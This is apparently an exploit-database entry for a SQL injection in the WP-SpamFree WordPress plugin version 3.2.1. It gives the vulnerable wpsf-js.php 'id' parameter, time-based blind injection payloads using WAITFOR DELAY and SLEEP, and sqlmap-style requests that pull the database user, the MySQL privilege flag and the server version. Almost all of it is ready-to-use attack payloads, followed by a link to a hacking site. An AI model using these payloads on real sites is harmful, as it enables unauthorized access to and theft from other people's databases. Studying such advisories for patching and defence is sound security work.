WordPress WP-SpamFree SQL Injection

`#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]  
#Date: 2011-09-25  
#Author: [cheki]  
#Version:[3.2.1]  
#Tested on:[linux]  
#Used: ["sqlmap"]  
#SQL Injection  
http://<target>/wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1  
  
#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)  
  
#[http://<taget>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()  
  
#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM  
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)  
  
#http://<target>:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)  
  
#Home page: http://hacking.ge/  
  
`